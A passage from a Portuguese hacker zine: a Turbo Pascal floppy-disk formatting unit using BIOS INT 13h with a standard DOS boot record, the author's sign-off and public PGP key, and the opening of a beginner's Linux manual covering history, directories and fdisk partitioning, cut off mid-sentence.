                       BRD : ($01, $01, $00, $02, $E0, $00, $40, $0B, $F0, $09, $00, $12, $00, $02)));

                             { standard boot program }
  BootRecord : array[0..511] of Byte = ($EB, $34, $90, $41, $4D, $53, $54, $20, $33, $2E, $30, $00, $02, $01, $01, $00,
                                        $02, $E0, $00, $40, $0B, $F0, $09, $00, $12, $00, $02, $00, $00, $00, $00, $00,
                                        $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $12,
                                        $00, $00, $00, $00, $01, $00, $FA, $33, $C0, $8E, $D0, $BC, $00, $7C, $16, $07,
                                        $BB, $78, $00, $36, $C5, $37, $1E, $56, $16, $53, $BF, $2B, $7C, $B9, $0B, $00,
                                        $FC, $AC, $26, $80, $3D, $00, $74, $03, $26, $8A, $05, $AA, $8A, $C4, $E2, $F1,
                                        $06, $1F, $89, $47, $02, $C7, $07, $2B, $7C, $FB, $CD, $13, $72, $67, $A0, $10,
                                        $7C, $98, $F7, $26, $16, $7C, $03, $06, $1C, $7C, $03, $06, $0E, $7C, $A3, $3F,
                                        $7C, $A3, $37, $7C, $B8, $20, $00, $F7, $26, $11, $7C, $8B, $1E, $0B, $7C, $03,
                                        $C3, $48, $F7, $F3, $01, $06, $37, $7C, $BB, $00, $05, $A1, $3F, $7C, $E8, $9F,
                                        $00, $B8, $01, $02, $E8, $B3, $00, $72, $19, $8B, $FB, $B9, $0B, $00, $BE, $D6,
                                        $7D, $F3, $A6, $75, $0D, $8D, $7F, $20, $BE, $E1, $7D, $B9, $0B, $00, $F3, $A6,
                                        $74, $18, $BE, $77, $7D, $E8, $6A, $00, $32, $E4, $CD, $16, $5E, $1F, $8F, $04,
                                        $8F, $44, $02, $CD, $19, $BE, $C0, $7D, $EB, $EB, $A1, $1C, $05, $33, $D2, $F7,
                                        $36, $0B, $7C, $FE, $C0, $A2, $3C, $7C, $A1, $37, $7C, $A3, $3D, $7C, $BB, $00,
                                        $07, $A1, $37, $7C, $E8, $49, $00, $A1, $18, $7C, $2A, $06, $3B, $7C, $40, $38,
                                        $06, $3C, $7C, $73, $03, $A0, $3C, $7C, $50, $E8, $4E, $00, $58, $72, $C6, $28,
                                        $06, $3C, $7C, $74, $0C, $01, $06, $37, $7C, $F7, $26, $0B, $7C, $03, $D8, $EB,
                                        $D0, $8A, $2E, $15, $7C, $8A, $16, $FD, $7D, $8B, $1E, $3D, $7C, $EA, $00, $00,
                                        $70, $00, $AC, $0A, $C0, $74, $22, $B4, $0E, $BB, $07, $00, $CD, $10, $EB, $F2,
                                        $33, $D2, $F7, $36, $18, $7C, $FE, $C2, $88, $16, $3B, $7C, $33, $D2, $F7, $36,
                                        $1A, $7C, $88, $16, $2A, $7C, $A3, $39, $7C, $C3, $B4, $02, $8B, $16, $39, $7C,
                                        $B1, $06, $D2, $E6, $0A, $36, $3B, $7C, $8B, $CA, $86, $E9, $8A, $16, $FD, $7D,
                                        $8A, $36, $2A, $7C, $CD, $13, $C3, $0D, $0A, $4E, $6F, $6E, $2D, $53, $79, $73,
                                        $74, $65, $6D, $20, $64, $69, $73, $6B, $20, $6F, $72, $20, $64, $69, $73, $6B,
                                        $20, $65, $72, $72, $6F, $72, $0D, $0A, $52, $65, $70, $6C, $61, $63, $65, $20,
                                        $61, $6E, $64, $20, $73, $74, $72, $69, $6B, $65, $20, $61, $6E, $79, $20, $6B,
                                        $65, $79, $20, $77, $68, $65, $6E, $20, $72, $65, $61, $64, $79, $0D, $0A, $00,
                                        $0D, $0A, $44, $69, $73, $6B, $20, $42, $6F, $6F, $74, $20, $66, $61, $69, $6C,
                                        $75, $72, $65, $0D, $0A, $00, $49, $4F, $20, $20, $20, $20, $20, $20, $53, $59,
                                        $53, $4D, $53, $44, $4F, $53, $20, $20, $20, $53, $59, $53, $00, $00, $00, $00,
                                        $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $55, $AA);

var
  DBSeg : Word absolute $0000 : $007A; { disk base table segment }
  DBOfs : Word absolute $0000 : $0078; { disk base table offset  }
  ScreenSegment : Word;


  procedure DrawBox;
  const
    B1 = 'ͻ';
    B2 = '                         ';
    B3 = 'ͼ';
  begin
    Window(1, 1, 80, 25);
    GotoXY(27, 9);
    Write(B1);
    GotoXY(27, 10);
    Write(B2);
    GotoXY(27, 11);
    Write(B2);
    GotoXY(27, 12);
    Write(B2);
    GotoXY(27, 13);
    Write(B2);
    GotoXY(27, 14);
    Write(B3);
    Window(27, 9, 53, 14);
  end;

  function Error13(ErrNum : Byte; Ask : Boolean) : Boolean;
    { show error and give chance to retry }
  type
    ScrPtr = ^ScrBuf;
    ScrBuf = array[1..960] of Byte;
  var
    Display, OldLine : ScrPtr;
    ORow, OCol, OldAttr : Byte;
    OWMin, OWMax : Word;
    Ch : Char;
    ErrMsg : String;
  begin
    OldAttr := TextAttr;
    TextAttr := Disk13IOAttr;
    Display := Ptr(ScreenSegment, 1280); { save screen }
    New(OldLine);
    OldLine^ := Display^;
    OCol := WhereX;
    ORow := WhereY;
    OWMin := WindMin;
    OWMax := WindMax;
    case ErrNum of
        1 : ErrMsg := 'Invalid drive request';
        2 : ErrMsg := 'Bad address mark';
        3 : ErrMsg := 'Write protect error';
        4 : ErrMsg := 'Bad sector';
        8 : ErrMsg := 'DMA failure';
       16 : ErrMsg := 'Bad CRC check';
       32 : ErrMsg := 'Controller malfunction';
       64 : ErrMsg := 'Bad seek';
      128 : ErrMsg := 'Drive not ready';
      251 : ErrMsg := 'Invalid media type';
      252 : ErrMsg := 'Too many bad sectors';
      253 : ErrMsg := 'Bad disk, cannot format';
      254 : ErrMsg := 'Drive type must be 1..4';
      255 : ErrMsg := 'Drive must be 0 or 1';
    else
      ErrMsg := 'Unknown disk error';
    end;
    DrawBox;
    GotoXY(3, 3);
    NoSound;
    Sound(440);
    Delay(125);
    NoSound;
    Write(ErrMsg);
    if Ask then 
      begin
        GotoXY(3, 4);
        Write('A)bort or R)etry?');
        repeat
          Ch := ReadKey;
        until Ch in [#27, 'A', 'R', 'a', 'r'];
      end
    else 
      begin
        GotoXY(3, 4);
        Write('press any key....');
        repeat
        until ReadKey <> #0;
      end;
    Display^ := OldLine^;
    Dispose(OldLine);
    Window(Succ(Lo(OWMin)), Succ(Hi(OWMin)), Succ(Lo(OWMax)), Succ(Hi(OWMax)));
    GotoXY(OCol, ORow);
    TextAttr := OldAttr;
    Error13 := ((Ch in [#27, 'A', 'a']) or (not Ask));
  end;

  function CheckParms(DType, Drive : Byte) : Boolean;
    { make sure drive and type are within range }
  begin
    CheckParms := False;
    if (not DType in [1..4]) then 
      begin
        if Error13(254, False) then ;
        Exit;
      end;
    if (not Drive in [0..1]) then 
      begin
        if Error13(255, False) then ;
        Exit;
    end;
    case DType of                      { set gap length for formatting, rqd if not AT }
         1 : Mem[DBSeg : DBOfs + 7] := $50; { 360K }
         2 : Mem[DBSeg : DBOfs + 7] := $54; { 1.2M }
      3, 4 : Mem[DBSeg : DBOfs + 7] := $6C; { 720K or 1.44M }
    end;
    Mem[DBSeg:DBOfs + 4] := DData[DType].SPT; { max sectors/track }
    CheckParms := True;
  end;


  procedure ResetDrives(Drive : Byte);
    { reset drive system ($1300) }
  var
    Regs : registers;
  begin
    Regs.AX := $0000;
    Regs.DX := Drive;
    Intr($13, Regs);
  end;


  function GetDiskStatus : Byte;
    { get results of last Int$13 operation ($1301) }
  var
    Regs : registers;
  begin
    Regs.AX := $0100;
    Intr($13, Regs);
    GetDiskStatus := Regs.AL;
  end;


  function ReadSectors(Quiet : Boolean; DType, Drive, Track, Side, SSect, NSect : Byte; var Buffer) : Boolean;
    { Read absolute disk sectors }
  var
    Regs : registers;
    Tries : Byte;
    Done : Boolean;
  begin
    ReadSectors := False;
    if not CheckParms(DType, Drive) then
      Exit;
    Tries := 0;
    Done := False;
    with Regs do 
      repeat
        AX := $0200 + NSect;             { read sectors }
        CX := Track shl 8 + SSect;       { track number and starting sector }
        DX := Side shl 8 + Drive;        { specify side and drive }
        ES := Seg(Buffer);               { point to data buffer }
        BX := Ofs(Buffer);
        Intr($13, Regs);
        if (Flags and FCarry) <> 0 then
          begin
            Inc(Tries);
            if Tries > 2 then
              begin
                if Quiet then
                  Exit
                else
                   begin
                     if Error13(AH, True) then
                       Exit
                     else
                       Tries := 0;
                   end;
              end
            else
              ResetDrives(Drive);
          end
        else
          Done := True;
      until Done;
    ReadSectors := True;
  end;


  function WriteSectors(Quiet : Boolean; DType, Drive, Track, Side, SSect, NSect : Byte; var Buffer) : Boolean;
    { write absolute disk sectors }
  var
    Regs : registers;
    Tries : Byte;
    Done : Boolean;
  begin
    WriteSectors := False;
    if not CheckParms(DType, Drive) then
      Exit;
    Tries := 0;
    Done := False;
    with Regs do 
      repeat
        AX := $0300 + NSect;             { write sectors }
        CX := Track shl 8 + SSect;       { track number and starting sector }
        DX := Side shl 8 + Drive;        { specify side and drive }
        ES := Seg(Buffer);               { point to data buffer }
        BX := Ofs(Buffer);
        Intr($13, Regs);
        if (Flags and FCarry) <> 0 then
          begin
            Inc(Tries);
            if Tries > 2 then
              begin
                if Quiet then
                  Exit
                else
                  begin
                    if Error13(AH, True) then
                      Exit
                    else
                      Tries := 0;
                  end;
              end
            else
              ResetDrives(Drive);
          end
        else
          Done := True;
      until Done;
    WriteSectors := True;
  end;


  function VerifySectors(Quiet : Boolean; DType, Drive, Track, Side, SSect, NSect : Byte) : Boolean;
    { verify absolute disk sectors (CRC check) ($1304) }
  var
    Regs : registers;
    Tries : Byte;
    Done : Boolean;
  begin
    VerifySectors := False;
    if not CheckParms(DType, Drive) then
      Exit;
    Tries := 0;
    Done := False;
    with Regs do 
      repeat
        AX := $0400 + NSect;             { verify sectors }
        CX := Track shl 8 + SSect;       { track number and starting sector }
        DX := Side shl 8 + Drive;        { specify side and drive }
        Intr($13, Regs);
        if (Flags and FCarry) <> 0 then
          begin
            Inc(Tries);
            if Tries > 2 then
              begin
                if Quiet then
                  Exit
                else
                  begin
                    if Error13(AH, True) then
                      Exit
                    else
                      Tries := 0;
                  end;
              end
            else
              ResetDrives(Drive);
          end
        else
          Done := True;
      until Done;
    VerifySectors := True;
  end;


  function FormatDisk(DType, Drive, MaxBad : Byte; VLabel : VStr; Verify, ShowResults : Boolean) : Boolean;
    { format a floppy disk ($1305) }
  type
    ScrPtr = ^ScrBuf;
    ScrBuf = array[1..960] of Byte;
    CHRNRec = record
                Track,                 { track  0..? }
                Side,                  { side   0..1 }
                Sect,                  { sector 1..? }
                Size : Byte;           { size   0..? }
              end;
  var
    CHRN : array[1..18] of CHRNRec;    { CHRN table for formatting }
    FATS : array[0..4607] of Byte;     { FAT Sectors }
    Tries, Track, Side, Sector, RWritten, RTotal, ORow, OCol, OldAttr, FatNum : Byte;
    OWMin, OWMax, BadSectors, Trash : Word;
    Display, OldLine : ScrPtr;
    Regs : registers;
    Done : Boolean;
    DT : DateTime;
    VDate : LongInt;

    procedure ResetDisplay;
    begin
      Display^ := OldLine^;
      Dispose(OldLine);
      Window(Succ(Lo(OWMin)), Succ(Hi(OWMin)), Succ(Lo(OWMax)), Succ(Hi(OWMax)));
      GotoXY(OCol, ORow);
      TextAttr := OldAttr;
    end;

    procedure MarkBadSector(Track, Side, Sector : Byte);
    const
      BadMark = $FF7;                  { bad cluster mark }
    var
      CNum : Integer;                  { cluster number }
      FOfs,                            { offset into fat for this cluster }
      FVal,                            { FAT value for this cluster }
      OFVal : Word;                    { Old FAT value for this cluster }
    begin
      CNum := (((((Track * 2) + Side) * DData[DType].SPT) + Sector - RTotal - 2) div DData[DType].BRD[0]) + 2;
      if CNum > 1 then 
        begin   { make sure it is in data space }
          FOfs := (CNum * 3) div 2;
          Move(FATS[FOfs], FVal, 2);
          if Odd(CNum) then
            OFVal := (FVal and (BadMark shl 4))
          else
            OFVal := (FVal and BadMark);
          if OFVal = 0 then
            begin { if not already marked bad, mark it }
              if Odd(CNum) then
                FVal := (FVal or (BadMark shl 4))
              else
                FVal := (FVal or BadMark);
              Move(FVal, FATS[FOfs], 2);
              Inc(BadSectors, DData[DType].BRD[0]); { add to bad sector count }
            end;
        end;
    end;

  begin
    FormatDisk := False;
    if not CheckParms(DType, Drive) then
      Exit;
    OldAttr := TextAttr;
    TextAttr := Disk13IOAttr;
    Display := Ptr(ScreenSegment, 1280);
    New(OldLine);
    OldLine^ := Display^;
    OCol := WhereX;
    ORow := WhereY;
    OWMin := WindMin;
    OWMax := WindMax;
    DrawBox;
    GotoXY(5, 2);
    Write('AMST DISK FORMATTER');
    Move(DData[DType].BRD, BootRecord[13], 14); { variant part of boot record }
    FillChar(FATS, DData[DType].SPF * 512, 0); { clear the FAT table }
    FillChar(FATS, 3, $FF);            { and put in ID bytes }
    FillChar(FATS, 1, DData[DType].FID);
    if Lo(DosVersion) > 2 then
      with Regs do
        begin { assume AT or PS/2 BIOS }
          case DType of                    { determine diskette type }
               1 : begin
                     AX := $1500;
                     DX := Drive;
                      Intr($13, Regs); { is it 360K in 1.2M drive? }
                     case AH of
                       1 : AX := $1701;       { 360K in 360K drive }
                       2 : AX := $1702;       { 360K in 1.2M drive }
                     else
                       begin
                         if Error13(251, False) then ;
                         ResetDisplay;
                         Exit; { invalid type }
                       end;
                     end;
                   end;
               2 : AX := $1703;               { 1.2M in 1.2M drive }
            3, 4 : AX := $1704;            { 720K or 1.44M in 720K or 1.44M drive }
          end;
          DX := Drive;
          Intr($13, Regs);
          if Lo(DosVersion) > 2 then
            begin { assume AT or PS/2 BIOS & set media }
              AX := $1800;
              DX := Drive;
              CX := (DData[DType].TPD shl 8) + DData[DType].SPT;
              Intr($13, Regs);
            end;
        end;
    ResetDrives(Drive);
    BadSectors := 0;
    Track := 0;
    while Track < Succ(DData[DType].TPD) do 
      begin
        Side := 0;
        GotoXY(5, 4);
        Write('Formatting Track ', Track:2);
        while Side < 2 do
          begin
            for Sector := 1 to DData[DType].SPT do
              begin
                CHRN[Sector].Track := Track;
                CHRN[Sector].Side := Side;
                CHRN[Sector].Sect := Sector;
                CHRN[Sector].Size := DData[DType].SSZ;
              end;
            Tries := 0;
            Done := False;
            with Regs do
              repeat
                AX := $0500 + DData[DType].SPT; { format service/sectors to format }
                CX := Track shl 8 + $01;     { track number to format at sector 1 }
                DX := Side shl 8 + Drive;    { side and drive to format }
                ES := Seg(CHRN);
                BX := Ofs(CHRN); { pointer to CHRN table for track }
                Intr($13, Regs);
                if (Flags and FCarry) <> 0 then
                  begin
                    Inc(Tries);
                    if Tries > 2 then
                      begin
                        if Error13(AH, True) then
                          begin
                            ResetDisplay;
                            Exit;
                          end
                        else
                          Tries := 0;
                      end
                    else
                     ResetDrives(Drive);
                  end
                else
                  Done := True;
              until Done;
            Inc(Side);
          end;
        if Verify then
          begin
            Side := 0;
            GotoXY(5, 4);
            Write('Verifying  Track ', Track:2);
            while Side < 2 do
              begin
                if not VerifySectors(True, DType, Drive, Track, Side, 1, DData[DType].SPT) then
                  begin
                    if Track = 0 then
                      begin
                        if Error13(253, False) then ;
                        ResetDisplay;
                        Exit;
                      end;
                    Sector := 0;
                    while Sector < DData[DType].SPT do
                      begin
                        Inc(Sector);
                        if not VerifySectors(True, DType, Drive, Track, Side, Sector, 1) then
                          begin
                            MarkBadSector(Track, Side, Sector);
                            GotoXY(5, 5);
                            Write('    Bad sectors', BadSectors:4);
                            if BadSectors > MaxBad then
                              begin
                                if Error13(252, False) then ;
                                ResetDisplay;
                                Exit;
                              end;
                          end;
                      end;
                  end;
                Inc(Side);
              end;
          end;
        Inc(Track);
      end;
    RTotal := (2 * DData[DType].SPF) + DData[DType].DSC; { # reserved sectors }
    GotoXY(5, 4);
    Write('Writing FAT info...');
    if not WriteSectors(True, DType, Drive, 0, 0, 1, 1, BootRecord) then 
      begin
        if Error13(253, False) then ;
        ResetDisplay;
        Exit;
      end;
    RWritten := 0;
    Track := 0;
    Side := 0;
    Sector := 2;
    FatNum := 0;
    while RWritten < RTotal do 
      begin { write FAT/directory }
        if Sector > DData[DType].SPT then
          begin
            Sector := 1; Inc(Side);
          end;
        if RWritten < (DData[DType].SPF * 2) then
          begin
            if FatNum > Pred(DData[DType].SPF) then
              FatNum := 0;
          end
        else
          begin
            FillChar(FATS, 512, 0);
            if ((VLabel <> '')
              and (RWritten = 2 * DData[DType].SPF)) then
                begin
                  while Length(VLabel) < 11 do VLabel := VLabel + ' ';
                  Move(VLabel[1], FATS, 11);
                  FATS[11] := 8;
                  GetDate(DT.Year, DT.Month, DT.Day, Trash);
                  GetTime(DT.Hour, DT.Min, DT.Sec, Trash);
                  PackTime(DT, VDate);
                  Move(VDate, FATS[22], 4);
                end;
            FatNum := 0;
          end;
        if not WriteSectors(True, DType, Drive, Track, Side, Sector, 1, FATS[FatNum * 512]) then
          begin
            if Error13(253, False) then ;
            ResetDisplay;
            Exit;
          end;
        Inc(Sector);
        Inc(RWritten);
        Inc(FatNum);
      end;
    if ShowResults then 
      begin
        GotoXY(3, 2);
        Write(DiskSize(Succ(Drive)):7, ' bytes total    ');
        GotoXY(3, 3);
        Write(BadSectors * 512:7, ' marked as bad');
        GotoXY(3, 4);
        Write(DiskFree(Succ(Drive)):7, ' bytes available');
        GotoXY(3, 5);
        TextAttr := TextAttr + Blink;
        Write(' *** press any key *** ');
        repeat
        until ReadKey <> #0;
      end;
    ResetDisplay;
    FormatDisk := True;
  end;


  procedure Disk13Init;
  var
    Regs : registers;
  begin
    Disk13IOAttr := TextAttr;
    with Regs do 
      begin           { get screen mode & set parameters }
        AX := $0F00;
        Intr($10, Regs);
        if AL = 7 then
          ScreenSegment := $B000
        else
          ScreenSegment := $B800;
      end;
  end;

BEGIN
  Disk13Init;
END.

---------------------- FIM DO CDIGO --------------------------

        Bom, pessoal. Espero que tenham gostado dessa minha participao no
zine. Talvez eu volte a escrever em mais algum nmero, depende de uma parceria
que ns da Hack and Phreak estvamos fazendo com o Ghost Invader.
        A Hack and Phreak zine pode ser pega em:
                www.bhnet.com.br/~lorenza/hacking.htm
        A homepage oficial do zine(www.geocities.com/SiliconValley/Peaks/1292)
no  essa, mas o responsvel pela pgina viajou e ela t meio desatualizada,
faltando o ltimo nmero(02). Portanto, se forem pegar o zine, peguem em:
www.bhnet.com.br/~lorenza/hacking.htm
Falou ento galera!!! Comentrios, sugestes e dvidas: cebola_br@hotmail.com
        Minha chave pblica PGP:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2i

mQCNAzSgZvwAAAEEAM7Fl1R3Kd8sXY0eWm5H+0XKOBO3g6ifpFaz6G+EVW7jjeMO
hs9qW5Kco0bxHOAb8qfILAq3604MtnjiU/yCpk95ZbKjB7GonNeMQVwlhvdAIzyc
A+FvKBzLegWVUz2g3mEs3K1bq16HQFrg4h/w7wTbh8JYmDAh4g5foeaTuHMRAAUR
tC9GcmVkZXJpY28gV2FnbmVyIE8uIE1lbG8gPGxvcmVuemFAYmhuZXQuY29tLmJy
Pg==
=OV6h
-----END PGP PUBLIC KEY BLOCK-----

       Falow!

Cebola
cebola_br@hotmail.com



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[UHF]-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


MANUAL LINUX - Parte 1  : by Ghost Invader
-=-=-=-=-=-=-=-=-=-=-=


Pra voce que acabou de instalar o linux, ou simplesmente quer aprende-lo
para ir treinando em telnet este manual eh a melhor opcao.
Ele eh muito simples e simplificado, otimo para iniciantes. Se ele foi util
para mim com certeza vai ser para voce.
Este manual foi criado por HUGO CISNEIROS - hugo@netdados.com.br e eh na
minha opiniao o melhor que ja li (parabens hugo).
Este arquivo tem mais ou menos uns 200 kbytes, por isso separei em pedacos
que vao ser publicados na zine.

OBS: Como ele foi feito em windows (Acho), alguns caracteres que eram acentos
vao parecer meio estranhos mas da pra entender.


-------------[Corte Aqui]-------------


----------------------------------------------------------------
1. Introduo ao Linux
================================================================
1.  O que diabos eh Linux ?

Linux  uma cpia do Unix feito por Linus Torvalds, junto com um grupo de hackers pela Internet. Pretende-se que ele
conforme com o padro POSIX.

Ele inclui proteo entre processos (crash protection), carregamento por demanda, redes TCP/IP, alem de nomes de arquivos
com at 255 caracteres, multi-tarefa real, suporte a UNICODE, shared libraries, memria virtual, etc.

O Kernel  o ncleo do sistema operacional, e est sob os termos do GNU General Public License.

================================================================
2.  Meu micro suporta Linux?

Para que seu micro suporte Linux, voc precisa de um 386/486/586, com no mnimo 2Mb RAM.  recomendvel utilizar
8Mb RAM para rodar outros programas teis e o X-Windows. Alm disso, voc precisa de um disco rgido tambm.

O Linux tambm pode rodar em Laptops.

================================================================
3.  Quanto espao em disco preciso para o Linux?

O mnimo espao utilizvel para Linux  10Mb, para voc test-lo. 
Agora para uma boa utilizao, recomenda-se colocar uns 400Mb a 600Mb... 

================================================================
4.  A Histria do Linux

O Kernel do Linux foi, originalmente, escrito por Linus Torvalds do Departamento de Cincia da Computao da
Universidades de Helsinki, Finlndia, com a ajuda de vrios programadores voluntrios atravs da Internet.
Linus Torvalds iniciou cortando (hacking) o kernel como um projeto particular, inspirado em seu interesse no Minix, um
pequeno sistema UNIX desenvolvido por Andy Tannenbaum. Ele se limitou a criar, em suas prprias palavras, "um Minix
melhor que o Minix" ("a better Minix than Minix"). E depois de algum tempo de trabalho em seu projeto, sozinho, ele enviou a
seguinte mensagem para comp.os.minix:

Voc suspira por melhores dias do Minix-1.1, quando homens sero homens e escrevero seus prprios "device drivers" ?
Voc est sem um bom projeto e esta morrendo por colocar as mos em um S.O. no qual voc possa modificar de acordo
com suas necessidades ? Voc est achando frustrante quando tudo trabalha em Minix ? Chega de atravessar noites para
obter programas que trabalhem correto ? Ento esta mensagem pode ser exatamente para voc.

Como eu mencionei a um ms atrs, estou trabalhando em uma verso independente de um S.O. similar ao Minix para
computadores AT-386. Ele est, finalmente, prximo do estgio em que poder ser utilizado (embora possa no ser o que
voc esteja esperando), e eu estou disposto a colocar os fontes para ampla distribuio. Ele est na verso 0.02... contudo eu
tive sucesso rodando bash, gcc, gnu-make, gnu-sed, compresso, etc. nele.

No dia 5 de outubro de 1991 Linus Torvalds anunciou a primeira verso "oficial" do Linux, verso 0.02. Desde ento muitos
programadores tm respondido ao seu chamado, e tm ajudado a fazer do Linux o Sistema Operacional que  hoje. 
================================================================
5.  Estrutura dos diretrios do Linux

Bem, a estrutura de diretrios de um linux tpico  mostrada nesta tabela:

 bin      Arquivos executveis(binrios) de comandos essenciais pertencentes ao sistema e que so usados com freqencia.
 boot     Arquivos estticos de boot de inicializao(boot-loader)
 dev      Arquivos de dispositivos de entrada/sada
 etc      Configurao do sistema da mquina local com arquivos diversos para a administrao de sistema.
 home     Diretrios local(home) dos usurios
 lib      Arquivos da biblilotecas compartilhadas usados com freqencia
 mnt      Ponto de montagem de partio temporrios
 root     Diretrio local do superusurio (root)
 sbin     Arquvios de sistema essenciais
 tmp      Arquivos temporrios gerados por alguns utilitrios
 usr      Todos os arquivos de usurios devem estar aqui (segunda maior hierrquia)
 var      Informao varivel

Brevemente, estarei comentando mais sobre os diretrios e colocarei informaes at de seus
subdiretrios e seus contedos. Fique ligado...
================================================================
6. Linux=Unix ???

  Limpo, claro e definitivo :  O Linux NO  UNIX.
                               O Linux  *um* Unix.

  Putz !  O Roxo, tal como o Olodum, pirou de vez !

  Calma gente !!  Nem tanto !!

  O UNIX  uma marca registrada do Unix Lab ( parece que andou mudando de
nome e at fechado.  Alguem sabe algo mais certo ? ).  Todos os sistemas
baseados naqueles cdigos so chamados de uma forma geral de UNIX.

  O Linux foi escrito desde o inicio pelo Linus Torvalds e no contem
nenhuma linha de codigo do UNIX.  Mas o Linux foi escrito para ser
conforme o padrao POSIX, que deve ser o padro da API ( Application
Programming Inteface ) Unix, que em ltima anlise pode ser resumido (
forcando um pouco a barra ) como sendo as chamadas do sistema.  Por isto
se diz que o Linux  *um* Unix ( nao UNIX ). Tem uma diferena sutil
a.

  Por causa da API POSIX, do conjunto de utilitarios ( FSF/GNU em sua
maioria ) e do uso do X-Windows ( XFree ) o Linux  tao parecido com o
UNIX que existem empresas que usam o Linux para desenvolver para UNIX que
no seja o dela mesma ( por exemplo a IBM e a Microsoft ).  Veja que a Ms
est tentando tranformar o NiceTry em um Unix ( ela espera que algum dia
no futuro seja um Unix melhor que o Unix - algo assim como o Linux ;)), e
para isto est aproximando-o do padrao POSIX.

================================================================
7.  Links para Linux

Aqui vai uma srie de sites de Linux que escolhi a dedo.. :-)


Servidores WWW

http://www.openline.com.br/linux-br/                     Home Page da Linux-BR Antiga
http://www.br.freebsd.org/linux-br/index.html            Home Page do Linux em portugus
http://www.inf.ufrgs.br/~kojima/linux/faq-linux.html     Perguntas frequentemente colocadas na linux-br (FAQ)
http://www.linux.org                                     Home page da Linux Organization, site oficial do Linux
http://www.suncite.unc.edu/mdw/welcome.html              Pgina do Linux Documentation Project
http://www.linux.if.usp.br                               Tudo para linux em portugus/ingls site da USP
http://www.infor.es/LuCAS                                Projeto Lucas - informaes do Linux em espanhol
http://www.cl.com.ac.uk/users/wj10/linux-faq             Pergunta mais frequentes do Linux em ingls
http://sunsite.unc.edu/mdw/linux.html                    Site com tudo sobre Linux em Ingls



Servidores FTP

ftp.iis.com.br
ftp.versatec.com
ftp.ibp.fr
ftp.cc.gatech.edu
ftp.cdrom.com <--- O que eu visito +
ftp.informatik.tu-muenchen.de
ftp.ibr.cs.tu-bs.de
ftp.dfv.rwth-aachen.de
ftp.informatik.rwth-aachen.de
ftp.cc.monash.edu.au
ftp.dstc.edu.au
ftp.sun.ac.za
ftp.inf.utfsm.cl
ftp.zel.fer.hr
linux.if.usp.br
lcmi.ufsc.br
cesar.unicamp.br
ftp.ime.usp.br
ftp.ufpr.br
----------------------------------------------------------------
2. Instalando e Usando o Linux
================================================================
1.  Instalando o Linux

Para instalar o Linux, voc precisa-r primeiro de um bootdisk e um rootdisk.
Os discos de boot e root so muito fceis de achar. O color.gz (577k) e o bare.i (569k).
O bare.i eh o disco de BOOT para suporte IDE. Se vc tiver um SCSI ter que pegar outro... 
e o color.gz como vc pode ver eh o ROOT DISK:

  o  color.gz. The menu-based color installation disk for 1.44 meg
     drives. Most users should use this rootdisk.

Voc pode peg-los em ftp.cdrom.com:/pub/linux/slackware , o de boot no dir bootdsks.144 e o 
de root no dir rootdsks.144 .

Voc tambm precisar do RAWRITE.EXE(Dos), que montara o rootdisk e o bootdisk em disketes.
Voc pega no mesmo endereo acima.

Os pacotes de instalao podero ser encontrados nos ftps:

ftp://ftp.ufsm.br/pub/linux/slackware  (BR)
ftp://ftp.cdrom.com/pub/linux/  (US)

Aqui vai uma descrio dos pacotes a ser pegados:

 A(*)          
           O Basico do sistema para rodar.
 AP(*)
           Aplicativos em geral
 D
           Linguagens de programacao /GCC/G++/Perl/C/ e outros...
 E
           GNU Emacs 19.25.
 F(*)
           Colecao de FAQs e outros documentos.
 I
           Documentacao de varios programas 
 N
           Networking. TCP/IP, UUCP, mailx, dip, deliver, elm, pine, smail, cnews, nn, tin, trn. (necessario para
           comunicacao internet/rede em geral)
 OOP
           Programas Orientado a Objecto
 Q(*)
           Kernel do linux (necesario para compilar do kernel, p/ atualizacao do hardware)
 TCL
           Tcl, Tk, TclX, blt, itcl.
 Y
           Games. The BSD games collection, and Tetris for terminals.
 X
           XFree86 2.1.1 system (X-Window tipo o Windows convencional)
 XAP
           Aplicativos para X : X11 ghostscript, libgr13, seyon, workman, xfilemanager, xv 3.01, GNU chess and
           xboard, xfm 1.2, ghostview, e varios X games.
 XD
           X11 program development. X11 libraries, server linkkit, PEX support.
 XV
           Xview 3.2 release 5. XView libraries, and the Open Look virtual and non-virtual window managers.
 IV
           Interviews libraries, include files, and the doc and idraw apps. These run unreasonably slow on my
           machine, but they might still be worth looking at.
 OI
           ParcPlace's Object Builder 2.0 and Object Interface Library 4.0, generously made available for Linux
           developers according to the terms in the "copying" notice found in these directories. Note that these
           only work with libc-4.4.4, but a new version may be released once gcc 2.5.9 is available.
 T
           The TeX and LaTeX2e text formatting systems.


Obs: (*) So os arquivos bsicos, caso voc no queira baixar tudo.

Todos os pacotes do linux somam mais de 100Mb.

Coloque o bootdisk na inicializaao de seu computador, ento quando ele pedir
pra voc colocar o RootDisk voc o coloca e pressiona Enter. 
Coloque root no login.

Ento execute o fdisk.
Lembre-se sua unidade C e chamada pelo linux d '/dev/hda'  esquea disso! para
criar a partio e barbada, e s seguir os exemplos. a nica diferena  a capacidade
do seu HD com a do exemplo.

Digite '?' para ver os camandos do fdisk. Use o comando 'p' para ver as informaes
(parties) atuais.

Comeando...

Primeiro use o comando 'p' par ver a(s) partio(es) corrente. Se voc j possui uma 
partio primria no DOS, note que aparecer... veja o exemplo:

Cuidado para no deletar sua partio primria DOS/Win, o comando para 
deletar 'd' mais a particao que no caso  o numero '1'

______________________________________________________________________
Command (m for help): p
Disk /dev/hda: 16 heads, 38 sectors, 683 cylinders
Units = cylinders of 608 * 512 bytes

Device Boot Begin Start End Blocks Id System
/dev/hda1 * 1 1 203 61693 6 DOS 16-bit >=32M

Command (m for help):
______________________________________________________________________

Prximo passo - Use o comando ``n'' para criar a nova partio. Vamos supor que voc 
queira deixar 80Mb para o linux.

______________________________________________________________________
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
______________________________________________________________________

______________________________________________________________________
Partition number (1-4): 2
First cylinder (204-683): 204
Last cylinder or +size or +sizeM or +sizeK (204-683): +80M
______________________________________________________________________

O linux mostrou que tem (204-683). Voc tem que informar o primeiro nmero '204' depois 
